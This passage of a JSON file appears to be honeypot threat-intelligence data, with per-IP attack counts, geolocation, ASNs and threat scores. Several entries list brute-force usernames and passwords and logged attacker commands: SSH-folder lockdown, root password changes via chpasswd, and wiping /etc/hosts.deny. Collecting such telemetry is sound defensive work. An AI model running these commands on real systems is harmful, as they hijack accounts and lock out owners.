      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.137.241.214": {
      "attack_count": 2,
      "first_seen": "2026-05-04T19:36:15.021Z",
      "last_seen": "2026-05-04T19:36:28.353Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:36:15.021000+00:00",
        "last_seen_30d": "2026-05-04T19:37:34.887000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.233.31.20": {
      "attack_count": 2,
      "first_seen": "2026-05-23T13:10:21.664Z",
      "last_seen": "2026-05-23T13:10:34.807Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:10:21.664000+00:00",
        "last_seen_30d": "2026-05-23T13:11:37.822000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.172.56.190": {
      "attack_count": 2,
      "first_seen": "2026-05-25T20:39:21.580Z",
      "last_seen": "2026-05-25T20:41:21.598Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Lecher\u00edas",
      "asn": 272955,
      "as_org": "GRUPO TECNOLIFE, C.A.",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T20:39:21.580000+00:00",
        "last_seen_30d": "2026-05-25T20:43:01.875000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "39.164.124.83": {
      "attack_count": 2,
      "first_seen": "2026-05-11T12:58:06.306Z",
      "last_seen": "2026-05-11T12:58:20.382Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 24445,
      "as_org": "Henan Mobile Communications Co.,Ltd",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:58:06.306000+00:00",
        "last_seen_30d": "2026-05-11T12:59:28.593000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.128.123.100": {
      "attack_count": 2,
      "first_seen": "2026-05-03T02:17:24.618Z",
      "last_seen": "2026-05-03T02:17:38.655Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Ramadi",
      "asn": 208570,
      "as_org": "Spark for Information Technology Services Ltd",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:17:24.618000+00:00",
        "last_seen_30d": "2026-05-03T02:18:48.257000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.183.62.95": {
      "attack_count": 2,
      "first_seen": "2026-05-25T15:43:23.451Z",
      "last_seen": "2026-05-25T15:43:36.408Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Pedro Juan Caballero",
      "asn": 64165,
      "as_org": "EXTRA S.A.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T15:43:23.451000+00:00",
        "last_seen_30d": "2026-05-25T15:44:42.425000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.226.127.223": {
      "attack_count": 2,
      "first_seen": "2026-05-22T15:47:54.114Z",
      "last_seen": "2026-05-22T15:48:24.027Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cotia",
      "asn": 266962,
      "as_org": "G M DA COSTA INTERNET",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T15:47:54.114000+00:00",
        "last_seen_30d": "2026-05-22T15:49:29.714000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.201.243.220": {
      "attack_count": 2,
      "first_seen": "2026-05-06T13:25:45.647Z",
      "last_seen": "2026-05-06T13:25:59.026Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Sulaymaniyah",
      "asn": 44217,
      "as_org": "IQ Networks for Data and Internet Services Ltd",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T13:25:45.647000+00:00",
        "last_seen_30d": "2026-05-06T13:27:05.340000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "70.182.78.81": {
      "attack_count": 2,
      "first_seen": "2026-05-17T20:47:06.554Z",
      "last_seen": "2026-05-17T20:47:19.187Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Oklahoma City",
      "asn": 22773,
      "as_org": "Cox Communications Inc.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T20:47:06.554000+00:00",
        "last_seen_30d": "2026-05-17T20:48:21.352000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "72.252.198.248": {
      "attack_count": 2,
      "first_seen": "2026-05-06T04:42:40.462Z",
      "last_seen": "2026-05-06T04:42:53.440Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jamaica",
      "country_code": "JM",
      "city": "Mandeville",
      "asn": 30689,
      "as_org": "FLOW",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T04:42:40.462000+00:00",
        "last_seen_30d": "2026-05-06T04:43:56.184000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "82.5.26.39": {
      "attack_count": 2,
      "first_seen": "2026-05-05T14:25:53.692Z",
      "last_seen": "2026-05-05T14:26:06.942Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Hemel Hempstead",
      "asn": 5089,
      "as_org": "Virgin Media",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T14:25:53.692000+00:00",
        "last_seen_30d": "2026-05-05T14:27:09.084000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.212": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:22:53.639Z",
      "last_seen": "2026-05-23T01:23:03.980Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 74.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 28,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T10:43:03+00:00",
        "last_seen_30d": "2026-05-29T19:36:08.699000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 105,
        "Honeytrap": 34,
        "Cowrie": 2
      }
    },
    "92.41.185.112": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:50:44.998Z",
      "last_seen": "2026-05-23T08:50:57.618Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 206067,
      "as_org": "Three",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:50:44.998000+00:00",
        "last_seen_30d": "2026-05-23T08:52:07.799000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "95.161.198.2": {
      "attack_count": 2,
      "first_seen": "2026-05-27T02:23:38.047Z",
      "last_seen": "2026-05-27T02:23:40.697Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Almaty",
      "asn": 43370,
      "as_org": "OBIT-telecommunications, LLC",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T02:23:38.047000+00:00",
        "last_seen_30d": "2026-05-27T02:24:41.068000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "99.252.90.4": {
      "attack_count": 2,
      "first_seen": "2026-05-03T00:35:32.152Z",
      "last_seen": "2026-05-03T00:35:46.081Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Etobicoke",
      "asn": 812,
      "as_org": "Rogers Communications Canada Inc.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:35:32.152000+00:00",
        "last_seen_30d": "2026-05-03T00:36:50.032000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "144.126.155.79": {
      "attack_count": 3706,
      "first_seen": "2026-05-03T00:45:37.494Z",
      "last_seen": "2026-05-03T06:24:52.728Z",
      "sessions": 1852,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St Louis",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5706,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:45:37.494000+00:00",
        "last_seen_30d": "2026-05-03T06:25:55.348000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3706,
        "Suricata": 2000
      }
    },
    "51.68.207.118": {
      "attack_count": 760,
      "first_seen": "2026-05-02T06:51:16.933Z",
      "last_seen": "2026-05-30T09:03:27.729Z",
      "sessions": 266,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 236160,
        "days_active_30d": 30,
        "ports_targeted_30d": 4704,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T00:00:12+00:00",
        "last_seen_30d": "2026-05-31T23:47:19.776000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 123217,
        "Honeytrap": 111417,
        "Cowrie": 760,
        "Dionaea": 253,
        "ConPot": 209,
        "Miniprint": 114,
        "Adbhoney": 76,
        "Redishoneypot": 76,
        "Dicompot": 38
      }
    },
    "154.83.16.160": {
      "attack_count": 682,
      "first_seen": "2026-05-17T03:11:09.412Z",
      "last_seen": "2026-05-28T02:28:22.063Z",
      "sessions": 67,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "admin",
        "alex",
        "andrea",
        "ansible",
        "cma",
        "curl",
        "debian",
        "dev",
        "dspace",
        "it",
        "jason",
        "liuyong",
        "nana",
        "oracle",
        "palserver",
        "staging",
        "user1"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "1234",
        "fjbdfdjkdsfs541544",
        "!Q@W#E$R1q2w3e4r",
        "010203",
        "123123",
        "123321123",
        "12345",
        "12345678Abc",
        "123456abc.",
        "1qaz!QAZ",
        "20192019",
        "@aA123456",
        "Admin111",
        "Admin123...",
        "Admin12345@",
        "Asdfghjkl1",
        "Cd123456",
        "QWERqwer123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Wangsu@2017\\ngPU6xB5EjcTn\\ngPU6xB5EjcTn\\n\"|passwd",
        "echo \"root:1yv9imavjWNf\"|chpasswd|bash",
        "echo \"root:kkBMOxQ86EFO\"|chpasswd|bash",
        "echo \"root:nbJz3DVJm4X2\"|chpasswd|bash",
        "echo \"root:pn3go0OstJbb\"|chpasswd|bash",
        "echo \"root:veqQmRAnczDs\"|chpasswd|bash",
        "echo -e \"Wangsu@2017\\ngPU6xB5EjcTn\\ngPU6xB5EjcTn\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 46.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.2,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 838,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:11:09.412000+00:00",
        "last_seen_30d": "2026-05-28T02:29:28.729000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 682,
        "Suricata": 156
      }
    },
    "192.124.18.146": {
      "attack_count": 562,
      "first_seen": "2026-05-04T22:28:48.127Z",
      "last_seen": "2026-05-04T22:38:25.573Z",
      "sessions": 281,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 27323,
      "as_org": "Wowrack.com",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 844,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T22:28:48.127000+00:00",
        "last_seen_30d": "2026-05-04T22:39:34.319000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 562,
        "Suricata": 282
      }
    },
    "175.10.73.145": {
      "attack_count": 528,
      "first_seen": "2026-05-21T06:41:48.403Z",
      "last_seen": "2026-05-22T09:40:15.879Z",
      "sessions": 264,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 807,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:41:48.403000+00:00",
        "last_seen_30d": "2026-05-22T09:41:24.836000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 528,
        "Suricata": 279
      }
    },
    "38.12.30.135": {
      "attack_count": 478,
      "first_seen": "2026-05-11T08:55:53.360Z",
      "last_seen": "2026-05-29T21:48:23.087Z",
      "sessions": 69,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "deploy",
        "test",
        "user",
        "admin",
        "ftpuser",
        "huawei",
        "a",
        "admin1",
        "alireza",
        "arkserver",
        "claude",
        "cs",
        "db2fenc1",
        "fastuser",
        "gmodserver",
        "guest2",
        "hduser"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "test",
        "!@#123",
        "1",
        "123123",
        "1234",
        "12345678",
        "1qaz@WSX1qaz@WSX",
        "1qazXSW2",
        "5tgb^YHN",
        "ASDasd123",
        "Aa111111",
        "Aa@123456",
        "Abc12345678",
        "Abcd1234",
        "Azerty123",
        "Baidu@123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nXHSzC0SWZ3vp\\nXHSzC0SWZ3vp\\n\"|passwd",
        "echo \"root:L4emsypL4fRJ\"|chpasswd|bash",
        "echo -e \"123456\\nXHSzC0SWZ3vp\\nXHSzC0SWZ3vp\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 402169,
      "as_org": "USCLOUD INC - Uscloud Inc",
      "threat_score": 52.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.0,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 630,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T08:55:53.360000+00:00",
        "last_seen_30d": "2026-05-29T21:49:28.959000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 478,
        "Suricata": 152
      }
    },
    "43.165.185.71": {
      "attack_count": 411,
      "first_seen": "2026-05-03T19:26:55.287Z",
      "last_seen": "2026-05-29T14:51:08.236Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "app",
        "oracle",
        "test",
        "testuser",
        "admins",
        "client",
        "deployer",
        "fileuser",
        "hadoop",
        "postgres",
        "rocky",
        "shoutcast",
        "sistemas",
        "steamcmd",
        "susi",
        "test04"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "admin123",
        "12",
        "123",
        "12345",
        "123456789",
        "123456@abc",
        "123456A",
        "123456a.",
        "123546",
        "123qwe",
        "19999999",
        "1qa2ws#ED",
        "1qaz2wsx#EDC",
        "1qaz@WSX3edc",
        "@#$%^&*!()",
        "Hello@1234",
        "Oracle123!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"admin123\\newnpbD8cpLch\\newnpbD8cpLch\\n\"|passwd",
        "echo \"qwertyuiop\\n9A6ItKwvWcqS\\n9A6ItKwvWcqS\\n\"|passwd",
        "echo \"root:vT1FVYvU4cyl\"|chpasswd|bash",
        "echo -e \"admin123\\newnpbD8cpLch\\newnpbD8cpLch\"|passwd|bash",
        "echo -e \"qwertyuiop\\n9A6ItKwvWcqS\\n9A6ItKwvWcqS\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 57.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 515,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T19:26:55.287000+00:00",
        "last_seen_30d": "2026-05-29T14:52:12.669000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 411,
        "Suricata": 104
      }
    },
    "81.193.216.17": {
      "attack_count": 392,
      "first_seen": "2026-05-11T18:36:40.586Z",
      "last_seen": "2026-05-20T08:33:02.272Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "test",
        "345gs5662d34",
        "Administrator",
        "admina",
        "claude",
        "dev",
        "developer",
